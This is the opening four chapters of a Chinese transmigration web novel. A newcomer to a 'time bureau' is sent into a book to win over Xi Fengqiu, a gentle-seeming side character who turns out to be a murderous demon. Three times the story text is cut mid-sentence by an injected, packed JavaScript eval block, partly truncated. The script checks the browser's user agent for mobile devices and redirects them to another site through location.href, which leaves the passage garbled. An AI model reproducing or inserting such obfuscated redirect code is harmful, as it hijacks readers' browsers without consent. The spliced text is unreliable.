《攻略黑心莲的千层套路》 1. 第1章 “真的不能给我安排个金手指吗?” 仲秋时节,落日熔金。 远方天际余晖即将散尽,晚风荡起遍野的山林野草,偶有一两只山间野兔踮起两条后腿,鼻尖微动,警惕四周一切。 忽然间,似是察觉到什么,野兔转而一溜烟跃入丛林,眨眼不见踪迹。 被灌木丛所遮掩的隐蔽洞穴中,细碎的微光挤进狭窄的缝隙,勉强照亮昏暗的洞穴。 少女本该白皙透亮的一张脸,此刻却布满脏污泥泞。 池镜花蹲在洞穴潮湿阴暗的一隅,纤长的睫羽轻轻颤动,眼下的月牙阴影晃动几下,她微微抬起雾气朦胧的杏眼乌瞳,适才看见系统回复。 【不能。】 她无声长叹一口气,心中暗骂了句“破系统”。 山匪追捕,生死关头。 池镜花本指着系统能帮她一把,没想到是她对破系统彻底死了心。 “滴答——” 从石缝落下的一滴水珠正中她的眉心。 池镜花佯装镇定地抹去水滴,就在此时,寂静的灌木丛忽然传来窸窸窣窣的动静。 本就处于高度紧张状态下的池镜花抑制不住打了个冷颤,下意识地死死抓住身旁之人的衣裳。 “池姑娘。” 少年语速轻慢,声音清润微凉,很是轻柔,低垂的眉眼蕴着浅浅笑意,自始至终都是一副很好说话、脾气极好的模样。 “别怕。” 许是他的安慰起作用,池镜花深吸一口气,朝洞穴门口望去,发现钻进来的不是追兵,而是一只灰兔。 池镜花长舒一口气,松开不安分的手,露出劫后余生般明媚的笑容,“嗯,谢谢你。” “无碍。” 坐在池镜花身旁的少年依旧微微笑着,神色平静如水,指尖不着痕迹地一点点抚平被她拽皱的衣袖。 池镜花随意应了声,一直默默观察野兔,直到确定它没有威胁后,视线才再度转向身侧。 借着零星的碎金光芒,她看见少年一头墨发似绸缎倾斜而下,以一顶银黑相间的发冠简单半束,皮肤近乎于病态的苍白,五官却惊艳瑰丽不似凡人,左耳佩戴一枚深红色的长形耳饰,镌刻着一行看不清楚的小字,眉眼却是极其好看,低垂的眼睫下勾画出一双蓝紫色凤眸。 ——温柔漂亮。 衣领和腰带以墨蓝色为点缀,他一身单薄白衣如深冬红梅,早已被鲜血浸透,未干的血迹顺着苍白指尖流入坑坑洼洼的地面,空气中都弥漫着浓烈的血腥,叫人难以想象他先前究竟遭遇了什么非人的待遇。 ——而且病弱。 看来原著诚不欺她。 池镜花不知不觉在心里又默念一声他的姓名:奚逢秋。 分明没出声,但由于她的目光过于坦诚直接,令对方注意到她。 “池姑娘。” 奚逢秋略偏过头,深红色的耳饰在池镜花眼前晃了晃,他瞳孔微转,温和的视线不偏不倚落在她的脸上,平静到毫无波澜的双眸,在对上她的瞬间,如木偶般弯了弯眼睛。 “你在看什么?我很奇怪吗?” “啊……啊?不是不是。” 池镜花足足愣了几秒,尴尬地连连摆手,不知做何解释,索性道声“对不起”后,便垂下脑袋不再看他。 好在他并未揪着话题不放。 池镜花松了口气。 其实她会这般在意他,完全因为奚逢秋是她的攻略对象。 ——还是她自己选择的攻略对象。 作为时空局一名毫无经验的新员工,池镜花深知选择的重要性,于是在一众任务中,她挑挑拣拣,选了个看起来最简单的任务:在维持原著剧情的情况下,攻略男配奚逢秋。 因为,池镜花曾读过这本书,虽然记忆不深,可对这位男配颇有印象。 这是一本名叫《鬼仙》玄幻志怪小说,在妖鬼猖獗的混沌世界中,故事以男女主边收妖打怪边谈恋爱为主线。 而奚逢秋,算是戏份最多的一位男配。 原著中,奚逢秋是一位漂亮温柔的病弱君子,他待人随和,做事极有分寸,总能在关键时刻出场替男女主清除障碍,虽有工具男配的嫌疑,但从字里行间可以看出他这个人极好相处。 好相处和攻略可是绝配! 池镜花正是看中这点,只是有件事她万万没有预料到。 三天前,穿书落地时,身穿也就算了,系统给她随机生成的身份竟是不干人事的炮灰山匪。 关于这段剧情,原著几乎未曾涉及,唯一可以确定的是:奚逢秋正被她和她的山匪同伴们囚在地牢中。 ……真是一来就给她上难度。 望着躺在血色汪洋里、被折磨只剩下半条命的奚逢秋,池镜花不得不在山匪对他下死手之前,冒着生命危险将人救出。 过程虽然曲折,但结果很好。 就在她惊叹于自己的行动能力之强时,立刻有两个凶神恶煞的山匪提着血刃追了上来。 池镜花想不通。 穿书的前两天,池镜花没有急着偷钥匙救人,而是观察并记下所有山匪的作息时间,摸清他们藏匿地牢钥匙的地点。 就连捞人,也是趁着他们午睡偷偷行动,期间并未发出任何响动,而且地牢钥匙她也是做了把假的顶替上去,一时半会儿肯定发现不了。 谁知他们前脚离开地牢,后脚就被两名山匪追杀。 池镜花还是头一次遇到这种事,心里有多恐慌暂且不论,重点是,她对这附近的地形压根不熟,无奈只能像只无头苍蝇似的带着奚逢秋四处东躲西藏。 但不管他们躲去哪里,那两名山匪似乎总能精准找到他们。 完全是一场猫捉老鼠的游戏。 反观奚逢秋,虽然伤重,一身白衣血迹斑斑,脸色白得几近透明,五官却愈显绮丽,蓝紫色的瞳孔不见一丝波澜,眉梢之间染着笑意,逃跑途中居然还有闲心打听她的姓名。 “不知姑娘如何称呼?” 结合书中奇幻的世界观设定,池镜花将这归结于他早已习惯这类事情。 池镜花大大方方地介绍自己:“池镜花,我叫池镜花,池塘的池,镜面的镜,花朵的花。” “池姑娘。” 他微微颔首,轻声细语地唤她一声,语调温柔得不像话,唇边笑意更甚,接着,礼貌地道出自己的真实姓名。 不经意间,一滴血珠从指腹的伤口滚入尘土,奚逢秋略抬起如玉的指尖,顺手给她指了个方向。 “池姑娘,走这边,我知道有处山洞可以让我们暂时避避。” 此处一片翠绿,繁星点点的碎光穿过茂密的植被树梢,照进如深海般的双瞳中,倒映出少女的惊讶的神情。 池镜花眨了眨眼睛,下意识点了点头。 其实自踏进这片森林以来,她就迷失了方向,既然奚逢秋对这附近熟络,由他带路再好不过。 兜兜转转,虽然身后的两名山匪一直没有放弃追杀他们,但幸亏有奚逢秋领着她,找到个暂时可以藏身的洞穴,只希望那两个人天黑之后能够自行离去。 想到这,池镜花垂头叹了口气,抱住自己缩在角落里,一边静静聆听水滴拍打地面的声音,一边忍不住感慨自己所遭遇的一切。 才短短三天,攻略硬是变成了逃生。 但若是换个角度想,虽然任务停滞不前,但经此一遭,他们之间也算是革命友谊了,待离开这里,也方便她开展任务。 这使池镜花不由自主地放松下来,恍惚之间,除了血气,她仿佛嗅到一阵若有似无的清香。 似是由身侧传来。 奇怪,但实在好闻。 池镜花不由自主地吸了吸鼻子,抑制不住好奇之心偏过头。 飘忽的视线尚未落定,耳边响起一道山泉般的清冽嗓音。 “池姑娘。” 池镜花条件反射地低下头,耳畔的声音还在继续,夹杂着些许关切与耐心,愈发地缓慢温和。 “你好些了吗?” 池镜花这才明白因她表现得太过慌张,所以他是在关心自己。 实话实说,只要甩掉追兵,也就没那么可怕了,而且以现在的情形推断,只要不被发现,相信不久后他们就能脱离险境。 池镜花缓缓抬头,“嗯,好多了。” 幽暗不明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15244778|166345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的光线下,奚逢秋眉眼蕴着不失礼貌的微笑,白皙耳垂上的耳铛轻轻晃了几下,仿佛隔空划了几道血色虚线,令颈侧的皮肤愈显透明苍白。 “那现在,你可以自己一个人待着了吗?” 池镜花神色诧异,尚未反应过来,不急不慢的声音再度响起。 “就一小会儿,很快的。” 他是以商量的口吻一字一句,勾着好看的唇露出歉意的笑,仿佛是责怪自己不该在此刻提出这要求。 果真是跟书名描写的如出一辙。 待人温柔,谦卑有礼。 尽管如此,池镜花心中还是有太多的疑问没有得到解答。 “为什么?你不害怕吗?” 她不明白奚逢秋为何要走出洞穴,要知道外面还有两个山匪在搜查他们的踪迹。 “因为我在找一样很重要的东西。” 与刚才不同,奚逢秋答得很快,拖长的尾音轻轻扬起,隐隐藏着难以察觉的一丝兴奋之意。 池镜花好像有点明白了。 虽然原著并未描写奚逢秋为何会独自来到这片被山匪占领的山头,但如果是为了寻找重要物品,那一切就都解释的通了。 就是不知道找的是什么。 说实话,她对奚逢秋的还挺好奇的。 见她一副低头沉思状,奚逢秋低声唤了一声“池姑娘”。 耳畔盘旋的声音勾回她的神识,回过神来,池镜花发现对方正微笑着歪头看她,漂亮的脸上却看不出任何情绪起伏。 “可以吗?” 他的语速很慢声音极轻,上扬的语调满是期待,眼底虽然平静,却不难看出,就算有要事处理,他也会温柔地征求对方同意。 但其实池镜花根本没有权利限制他的自由,他若要出去,那便只能让他注意安全,而奚逢秋只礼貌地回了句“多谢”。 “对了,池姑娘。” 刚踏出几步,便想到什么,清瘦的身影回过头,顶上的余晖透过石缝摇摇晃晃地抖落下一层淡淡的金粉,颤动的睫羽下,他眼含笑意,可光辉却半点也照不进他那犹如深海的双瞳。 “不用担心,我不会丢下你的,真的只有一小会儿,很快就回来了。” 声音又轻又缓,如白羽般的微微扫过她的耳廓,但话里话外,都是在保证自己绝不会抛弃共患难的朋友。 等于喂她吃了颗定心丸。 因为若他一去不返真挺麻烦的,毕竟,她的任务可是攻略奚逢秋。 但攻略又并非要时刻都得黏在一起。 随着单薄的身影逐渐遁于黑暗,池镜花的周围便只剩下水滴砸向地面的清脆声响。 除此以外,什么都听不见,连野兔也悄无声息地溜了,反而是愈接近夜晚,洞穴里的气温愈低,地底的冷气从脚底死命往上钻。 池镜花只能一边搓手取暖,同时思考一件事。 她一直觉得那两名山匪很是奇怪,但又说不上来是哪里不对劲,或许是她太敏感,不过毕竟是妖鬼世界,保持警惕才能活得长久。 找不到突破口,池镜花叹口气,耐着性子继续等待。 不知过去多久,裹携着浓烈血腥味的微风充斥着洞穴内部,一道道水滴掷地的声音如榔头锤击她的心脏,视线所及之处近乎于漆黑。 时间的分针停止转动,仿佛一切都滞留在此刻。 诡异且令人不安。 池镜花不禁打了个寒颤,想到洞穴外的两名山匪,下意识地以为是他们搞的鬼。 但奚逢秋还没回来。 她不想他出事。 又等许久,情况没有任何改变,血腥气味甚至更重。 池镜花蹙眉起身,决定去寻奚逢秋。 她紧靠墙边扶着石壁,绕过坑洼的地面,在黑不见五指的空间里,小心翼翼地摸索着向洞口移动。 秋风瑟瑟,愈来愈近。 直至走出洞穴,月光骤然照进瞳孔,池镜花眯了会儿眼睛,同时,耳边响起了呼啸的风声。 少女大半个身子被摇曳斑驳的树影所笼罩,光影交错间,待双瞳逐渐适应光线,她稍稍抬目,看清眼前的景象,不由地倒吸一口凉气。 2. 第2章 秋日的傍晚,温柔的橘色天幕下,晕染着一抹鲜艳的红。 是血。 池镜花看见两具被挂在树上的男性尸体。 是山匪的。 一根根白丝缠住两人的手脚,所有裸露在外的皮肤早已被割破,鲜血慢慢浸透白丝,顺着白丝向着下方缓缓流淌。 白丝的尾端连接着奚逢秋的五指,锋利的白丝从他的苍白指尖中生出,像是他身体的一部分,二者天然地融为一体。 山风吹动发丝,惹眼的耳铛轻晃几下。奚逢秋静静打量眼前的一切,唇边擒着愉快的笑。 意想不到的画面。 视觉冲击太强,池镜花唯有扶住树干深呼吸才能勉强保持镇静。 空气中从远方飘来更为浓烈的血腥,似乎是他们不久前经过的地方。 此时,天空已转为血红。 池镜花视线慢慢右转,忍不住看向远方那一具具匍匐倒地的尸体,很是眼熟。 她与这群山匪好歹也同吃同住三天,有些人的面孔和身形还是有些印象的,若她记忆没出错且脑子还清醒的话:那是其他山匪的尸体。 几十具尸体旁已有几只乌鸦盘旋,说明这些人的死亡时间早于树上的两个人。 可在来这里的时候他们都没有发现,又或者说是有人故意没让她看见这些。 池镜花猛地转向奚逢秋。 奚逢秋也觉察到她的存在。 刹那间,四目相对,池镜花看见他的手指还在滴血,苍白的脸上挂着人畜无害温和的笑,衣袂在风中翻飞,缠绕在他四周的白丝衬得他宛若深陷困境的动物。 不对劲。 很不对劲。 池镜花终于意识到方才的违和感出自何处——这两名山匪根本就不是为了抓她,而是要为他们的同伴报仇,所以他们的目标自始至终奚逢秋一人。 “池姑娘。” 树影婆娑,光线愈暗。奚逢秋微微弯了弯蓝紫色的眸子,试探性地向前走了两步,仍连着指尖的白丝在地面拖出一道细长的痕迹。 “你来了。” 他语气淡淡,似乎并不惊讶于她的到来。 池镜花瞥了眼周围的血迹,心跳不禁剧烈跳动。 “我是因为担心你……” “担心我?” 奚逢秋难得敛起笑容,疑惑地对视了几秒,忽而歪了下脑袋,耳铛轻轻划过颈侧时,眉眼间的笑意再度浮现。 “这可真是奇怪。” 奇怪? 她觉得“奇怪”这个词语应该用来形容奚逢秋才对吧。 出山洞后,一切就都变了。 奚逢秋似乎再也不是她所熟悉的温润如玉的男配,可来都来了,总不能这时候临阵脱逃叫人耻笑。 所以就算人设不对也没关系,是她自己选择的攻略对象,只要一直坚持,总会有办法的。 池镜花暗暗下定决心,一抬头,猝不及防地掉入对方的视线中。 晚霞的余晖倒映在他的眼睛中,深不见底的瞳孔慢慢晕出一抹奇异的色彩,比起树荫下的他,似乎更像个活人。 他语速依旧平缓,看似温柔却没什么情感。 “池姑娘,你在担心什么?” 奚逢秋并不怀疑“担心”词语的真实性,从见面伊始他就察觉到了,池镜花对他确实很是关心,即便是现在,仍旧存在,正因如此,他很好奇,这些示好究竟是出自于什么目的。 池镜花眨了眨眼睛,态度诚恳毫不犹豫地答道:“我知道这里很大,所以我担心你找不到丢失的物品。” “原来是这样。” 话音落下,四周静悄悄,血腥味却愈来愈浓。 奚逢秋握住指尖“长”出的缕缕白丝,无所谓似的用力扯了扯,足以充当杀人利器的丝线很快划破他的皮肤,掌心渗出的血迹向下滑落时逐渐染红所有的丝线。 不久,已分不清哪些是由山匪的血迹所染,哪些是他用自己的血染上去的。 他缓慢地掀开双睫抬了抬头,失血过多使他脸色愈发病态,笑容却依旧不减。 “我还以为你是担心我会死在这儿。” 池镜花:“……” 其实他说得也对,只是“生死”的话题,明显不适合在这种时候提,所以她才会随便起个话题。 但现在,她更想怕他有自毁倾向。 可这更难以开口。 池镜花正愁要如何接话,就在此时,上方有片阴影笼罩下来。 被鲜血染尽的白衣掠过杂草,奚逢秋不知何时已来到她跟前,毫无戒备地向她摊出右手。 这是她第一次近距离观察这些细线,除却与奚逢秋的血肉相连,乍看之下,却与普通丝线无异。 同样引人注目的还有躺在他掌心里的三枚旧铜钱。 池镜花的心绪逐渐由紧张过渡到疑惑。 “铜钱?” “嗯,铜钱。” 奚逢秋轻轻点头,模样看上去乖巧极了,平淡的视线从铜钱移至她的双颊,四目相触,静默片刻,一声轻笑响起。 “池姑娘,要我为你算一卦吗?” 她很早就听说过铜钱占卜,也对玄学颇有兴趣,小时候还在路边买过三块钱一本的《测一测你的爱情运》之类的书籍,但直觉告诉她:现在不是个好时机。 “不……” 池镜花摆手正要拒绝,话未诉尽,上空突然出现一声声清脆的鹤唳。 是一只体型稍大的白鹤,羽毛雪白干净,脖颈细长。 白鹤这种动物不算稀奇,但出现在这里,就不得不令人浮想联翩。 此时此刻,就连寂静无声的小道一侧也传来杂音,像是动物在草丛中处极速穿梭,此起彼伏的杂草更是印证了池镜花的这一猜测。 “原来是藏在这里啊。” 轻柔的话语如清风拂过她的耳廓,顷刻间,数条白丝纷纷“复活”,由奚逢秋操纵着它们灵活地绕过所有障碍物,向丛林更深处的四面八方地快速探去。 如今,情况已十分明了。 奚逢秋要找的正是这个“人”或者“动物”,但奇怪的是,他似乎并不想打算让它活着。 “有仇”或许能够很好地解释这点。 但奇怪的是,奚逢秋的所有行为仿佛只有一个目的:倒逼对方往某个地点跑。 就像是实现准备好个陷阱等着他跳进来。 可到底是为什么? 这件事还没想通,池镜花又意识到个问题:奚逢秋是如何知晓对方的移动轨迹? 等等。 池镜花猛地抬头,看见空中盘旋的身影恍然大悟。 是那只白鹤。 是它在给奚逢秋传递消息。 他的攻击范围虽广,但视力受阻,而白鹤刚好弥补了这个缺点。 池镜花有种不好的预感。 埋在血肉中的随意延伸的杀器,利用动物的视野弥补自身短板,怎么看都不像人吧。 想到原著中描写的“多智近妖”,原以为只是用来形容他天才聪明的人设,没想到真是妖怪啊。 妖鬼世界……妖怪…… 好吧,这样一看就正常多了。 连做几个深呼吸,池镜花自我安慰大成功,抬眸看见一只披着人皮的怪物已被奚逢秋逼至一处,而那里,正对着山匪尸体的下方。 它之所以没再继续逃窜,是奚逢秋已将它的四肢全部砍去,只留下血肉模糊的伤口,而覆盖在它表面的人皮早已腐烂,露出里面已经结块的黑色长毛发。 失去行动能力的妖怪呲着洁白的牙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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而他要杀她的理由也很简单,奚逢秋杀了所有的山匪,正所谓斩草除根,自然不会放过她。 所以留给池镜花的选择有两个:要么逃,要么阻止他! 二者皆是地狱难度,不过比起前者,还是后者更有试一试的价值。 “等……” 情况危急,池镜花一时想不到好办法,只有本能地伸出手,想要去抓住铜板,不料下一刻,奚逢秋已抛出铜钱。 空中划过一道虚线,铜钱被抛起后又直直地坠落在他的掌心。 池镜花看不懂卦相,唯有一点可以确定:后路已被堵死,只剩“跑路”一条选项。 可这怎么看都是下下策,就算她现在运气好逃了,以后难道要一辈子躲着不见他吗? 话虽如此,池镜花的脚步已不由自主地倒退两步,已做好随时撤退的准备。 意外的是,奚逢秋却没有任何动作。 黑如幕布笼罩山林大地,天空的最后一丁光辉彻底隐去,晚风吹拂枝叶,林间沙沙作响。 地面草丛的细线四散,垂挂在树枝上的随风而动。 奚逢秋神色晦暗不明,斟酌半晌后,缓慢抬眸,长睫微微颤动,目光终是落在她的脸颊,深不见底的眼底泛起丝丝疑惑的细碎光芒。 “可以告诉我一件事吗?” 杀意顷刻尽消,奚逢秋又恢复到白日那般温顺而泽、彬彬有礼的公子。 池镜花不由自主地屏住呼吸。 “什么事?” 奚逢秋将铜钱收起,唇角弧度渐起,无法为光亮所照进的眼底溢满清澈的笑意。 “你是谁?” 3. 第3章 ——你是谁? 池镜花愣住片刻,这几个字就像是电视机前的滚动字幕,在她脑海中无数次反复回荡,整个人一次次地跌落冰窖。 她几次试图唤醒系统,结果都无济于事。 关键时刻,这系统真的一点用处都派不上。 池镜花在心里暗暗吐槽一句“求人不如求已”。 即使奚逢秋没有直说,但他很有可能已经意识到她身份的疑点,也即她并非这个世界的人。 但池镜花现在还并不清楚奚逢秋的真实想法,为今之计,只有拖延。 凉风吹拂发尾乌丝,过度紧张令她的体温正在升腾。 她故意扮出一副懵懂的模样,半仰着头眨眨眼睛。 “什么意思?我没太明白。” 少年盯着她的眼睛,平静得没有一丝波澜,半晌后,微微垂下沾上血珠的睫羽,声音低了不少,却也不难听出其中夹杂无数困惑。 “池姑娘,你的卦象我看不懂。” 方才,他的卦象未显示出适合池镜花的死亡之地,甚至连一丁点儿信息都不曾透露,这不正常,唯一能够解释这点的只有她并非这里的人,所以才会无法为她占卜。 他在冷风中扯住细线,如翻花绳般的随手把玩着,面带浅笑地歪头看向池镜花。 “我想知道池姑娘你来自哪里。” “原来是想知道我的家乡啊。” 池镜花故作轻松地露出个笑容,“我来自平安县,是一个小地方,不知奚公子听说过没有。” 奚逢秋指尖一顿,不知怎地,忽地露出个歉意的笑,“可能是我让你误会了。” 池镜花风中迷茫,尚未厘清他的话中含义,仿佛有一柄藏在寒风中的尖刃,贴着她耳畔的肌肤悄然划过。 “池姑娘,我最不喜别人骗我。” 在他吐出“骗”字时,池镜花真切地感受到一阵虽被刻意敛起却极为强烈的杀意,刹那间,头顶仿佛悬着一把随时能贯穿她躯体的刀刃。 奚逢秋没有开玩笑,而池镜花也总算清楚他的想法——单纯好奇她的来历。 池镜花大胆猜测是这个时空的占卜之术对她无用,所以才引起奚逢秋的好奇心。 但好像找到了突破口。 池镜花态度无比真诚,信誓旦旦地强调第二遍,“我没有骗你,是真的。” 平安县确实是她的出生地,只不过不在这个世界。 山中寒风凛冽,已完成任务的白鹤停于远处的水坑边上,歪着脑袋安静地观察两人。 奚逢秋长睫轻颤,脸色算不得多好看,唇角弧度却更甚。 “池姑娘,又骗人。” 翻飞的白衣若有似无地擦过池镜花的脚踝,他就差直接把“杀”字说出口。 他绝不正常。 谦卑有礼的温润君子,内里却是个病态疯子。 池镜花抑制住后撤的欲望,双手不由自主地紧握衣裙。 不过危机总是伴随着希望,既然他这么想知道真相,那就绝对不能让他如愿,毕竟疯子的好奇心一旦被满足,那迎接她的必定是死亡。 池镜花决心孤注一掷。 她深吸一口凉气,鼓起勇气向前跨出一大步,距离近到离对方不足一拳的距离,抬头时清晰地看见奚逢秋睫羽间尚未凝结的细小血珠,还有血色耳铛上的小字:年年。 “奚公子,我说的都是真话,你若不信,大可以杀了我。” 少女的几缕冰凉发丝随风吹落在他的肩胛上。 奚逢秋不躲不闪,垂着眼眸,满脸疑惑地打量池镜花。 不知何时,她的脸颊以及粉绿色衣裙也染上斑驳的血迹,宛若是他阴暗角落里的共犯。 半晌,他轻笑一声,“池姑娘,你好像一点也不怕死呢。” 池镜花:“……” 胡扯!她怕的要命! “我不会武功,也不了解任何术法,若你要想要杀我,我根本逃不掉。” 池镜花实话实说,视线不曾偏移,直直的落在他脸上,一副视死如归的表情。 “所以,奚公子,你若执意不信,尽管动手。” 满嘴谎话。 好想杀了她。 好想用这些线将她绑起来,一点点割破她的皮肤,更想亲眼看着她的鲜血滴在枯叶上、草丛中、河流中、土地里。 好想斩断她的四肢,折断的她脖颈,就像黑妖和她的山匪同伴一样,替她找到她的死亡之所。 可她若是死了,他就永远不会知道她身上的谜团。 好像有点可惜。 权衡利弊后,奚逢秋松开拉着细线的右手,转而覆上左肩胛的伤口,狠狠按住,试图暴力止血。 与此同时,从他指尖生出的所有细线原地化为齑粉,于黑夜中飞舞消失。 那些长久压在她四肢百骸的杀意瞬间消散,就连她的呼吸都顺畅不少。 好像……赌赢了? 池镜花劫后余生般的吐出一口浊气,慢慢松开紧握的双拳。 而后,依旧沉浸在喜悦中的池镜花看见奚逢秋抬起左手食指,给她指了个方向。 “这边。” 顺着奚逢秋指的方向往前走,有一条细长溪流。 夜深露重,他们这时候下山必定来不及,而且迷路风险极高,只有将就一晚等天亮再行动,不过他们身上的血污和泥泞得清理清理。 因此,河边无疑是最佳的休息场所。 池镜花简单收拾一下,接着准备生火。 半个时辰后,池镜花在离河边不远的空地生了火。 她抬头望去,奚逢秋身上的污血已被洗净,正在逗趣站在水面盯着水底竭力捕猎食物的白鹤。 一人一鸟,相处得尤为和谐。 比起人类,他似乎更喜欢与动物相处。 山里昼夜温差大,偏偏还起了雾,有降温的趋势。 池镜花大喊一声“奚公子”,在对方偏头看过来后,表情无辜地眨着眼睛,声音莫名地软了几分。 “你不冷吗?” 她诚心诚意地邀请他,一是怕他生病,二是想趁此机会了解一下真实的他,如果可以,最好能够再刷一波好感度。 被送到奚逢秋身边的夜风似夹带着火焰的温度。 奚逢秋思索片刻,缓步走过去坐下。 两人之间只隔了一个人的距离。 安静的四周薄雾重重。 池镜花一边往火里添木枝,一边思考要如何自然地开启聊天话题。 “多谢。” 伴随着劈里啪啦树枝燃烧时的炸裂声,一声道谢猝不及防地传入池镜花的耳畔。 她转过头,看见奚逢秋正轻轻偏过头冲她露出个浅浅的笑容,语气和表情都温柔得不像话,扎眼的耳铛映出跃动的火光,若隐若现可见其血色光芒。 池镜花愣住片刻,回了句“不客气”,仔细回想这一天发生的事情。 其实原著描写的并非都不正确,大部分情况下,奚逢秋看上去还是很好相处的,甚至真有几分白月光温柔男配的意味。 池镜花又往火堆里丢了根柴火。 火光映照,气温升腾,她的双颊逐渐热了起来,脑子也活络了起来。 “奚公子,你为何会被山匪抓住?” 以他的武力,池镜花绝不信他会被山匪抓住,所以他这么做一定有他的理由。 她十分好奇。 奚逢秋瞧见她歪着脑袋睁圆了眼睛,眼底火光翻涌,胸口垂落几缕长发,早已不见当时恐慌。 “因为,我接了个悬赏令,任务是杀掉那只黑妖。” 回忆进山时的场景,奚逢秋的语气有些无奈。 “可它披着人皮躲进山匪中,要想找到他,只有接近山匪这一条路可走。” 意外的是,奚逢秋对此毫无隐瞒,神情平淡地简单陈述完整件事的经过,根本就不在意是否有第二个人知道他此行的目的。 不过话又说回来了,他这妥妥的钓鱼执法啊,最后不仅杀了黑妖,甚至连山匪的窝都一锅端了。 池镜花张了张口,简直无言以对,也庆幸自己的任务不是杀他,不然还真是无从下手。 光线忽明忽暗,奚逢秋垂下鸦黑般的睫羽,视线落在颤动炽热的火光上。 “那池姑娘你呢?为何会与山匪为伍?” 这是系统生成的初始设定。 虽然池镜花很想这么说,但碍于身份和任务只能缄默不言,希望奚逢秋能从沉默中读出她的不容易,别再追问了。 冗长的寂静过后,池镜花耳边响起一声轻笑。 奚逢秋掀起眸子,笑意更深,当然,不是什么好征兆。 “是编不出来了吗?” 很好。 这个疯子自始至终就没信过她。 想到这,池镜花总算明白当时并非是她赌赢了,而是奚逢秋心中的求知欲占据上风,这让她更加坚定保守身份秘密这一决心。 “既然左右你都不信,那我不说了。” 说罢,池镜花假装生气,将附近的最后一根柴火丢进火里,站起来拍了拍衣上的尘土,根本不敢直视他的眼睛,生怕被看出端倪,赶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“好……我睡了。” 池镜花艰难地点了点头,赶紧找个好位置侧躺下。 奚逢秋只轻道声“好梦”便不再说话,耳边除了噼里啪啦的杂音,便只剩下她自己规律的呼吸声。 池镜花又累又紧张,偷偷看见奚逢秋只是垂头辨不清神情,终是敌不过困意睡了过去。 白天所发生的一切又在她的梦里重演了一遍,池镜花以为自己是被吓醒的,可还没等她睁眼,率先知觉出背后的杀意。 是奚逢秋。 虽闭着眼,但能够感觉到明显有人凑近“观察”她。 奚逢秋没有直接碰到她,在明明灭灭的火光下,身影笼罩着少女,两道完全不同的影子在黑夜中重叠。 猎猎寒风卷起他的衣袂,于半空飞舞交叠,风停后,缓缓落下盖住少女的襦裙一隅。 “池姑娘,可以杀了你吗?” 他的声音很轻很轻,如流星划过寂静深空般稍纵即逝。 不会有人回答他,又或许只是他的一次自娱自乐。 错过睁眼的最佳时机,池镜花紧张到无法呼吸,祈祷他不要违背诺言。 正想着,忽有散发出冰凉气息的物体正在悄然接近她的脖颈和耳垂。 池镜花能想到的只能是那些细线,可能是想割破她的喉咙。 顿时,心提到了嗓子眼,说好了不动手的,这不是在耍她吗? 就在池镜花考虑要不大胆地推开他,不料奚逢秋竟在关键时刻停下,似乎所有的细线甚至未曾接触到她的皮肤便被收回。 “可惜……” 不懂他在可惜什么,但离得太近,附着在他身上的怪香钻进她的鼻腔。 她一点也不讨厌这种香气。 恍惚间,池镜花似乎骤然回到了儿时所生活过的家。 破旧的院子、悉心照料的菜园、方方正正的池塘……所有熟悉的场景一一从眼前快速略过,画面最终定格在两位老人和她从小养大的小狗身上。 那是她最珍贵的回忆。 但为什么现在想起来了? 万千思绪尚未理清,笼罩她身侧的阴影远去,围绕着她的香气也一并散去。 奚逢秋好似什么也没发生过,坐回原位,唇角噙着笑,百无聊赖地翻着花绳,等待天明。 4. 第4章 次日拂晓,缭绕的浓雾散去,明媚的日光洒满山地,虫鸣鸟啼,风吹树动,树影在地面上婆娑。 天明就能下山,不过池镜花一直以来只对山匪活动的周边区域熟悉,奚逢秋似已是料到这点,在河边耐心地等白鹤进完食后,稍稍侧过头,耳坠微倾,眼瞳微转,对上池镜花直白的视线。 穿过枝叶洒下的阳光有些晃眼,奚逢秋白衣随风,墨发半披半束,唇角带着笑意,主动邀她一块行动。 “池姑娘,要一起下山吗?” 答案显而易见,只是她万万没料到奚逢秋会这般主动,转念一想,他大抵是想搞清她身上的疑点。 她下意识地摸了摸脖子,没有任何外伤,可一想到昨晚夜间发生的一切,仍旧心有余悸。 池镜花沉默几秒,“嗯。” 奚逢秋却觉得她既害怕又接近的反应很有意思。 白鹤振翅欲飞,在空中盘旋片刻,很快朝着一个方向飞去——那便是下山的路。 只是池镜花没想到会这么快,原来从山上走到城镇只需半天时间。 眼下虽是中午,但街上还算热闹,店铺林立,摊位聚集,仅是十分钟,就被好几个老板拉着要去店里参观。 池镜花笑着一一婉拒,直接走到一家卖胡饼的路边摊,瞧见刚出锅的一炉胡饼,向老板要了两张。 她这一天没吃东西早已饿得不行,所以与其把为数不多的银两花在别的地方,还不如买点吃的更实在。 很快,付了钱,池镜花拿着两张胡饼,笑着将其中一个递给奚逢秋。 “给你的。” 熙熙攘攘的街道,两人站在路边树荫下,奚逢秋盯着油纸包着的胡饼,却未伸手。 池镜花对着他举了半天,胳膊都举酸了,终是忍不住问道:“你不饿吗?” “不是。” 奚逢秋视线一晃,轻轻落在她的脸上,弯着眼睛,露出个怪异的笑容。 “我觉得,你的似乎更好些。” 连尝都没尝过,怎么还分上好坏了? 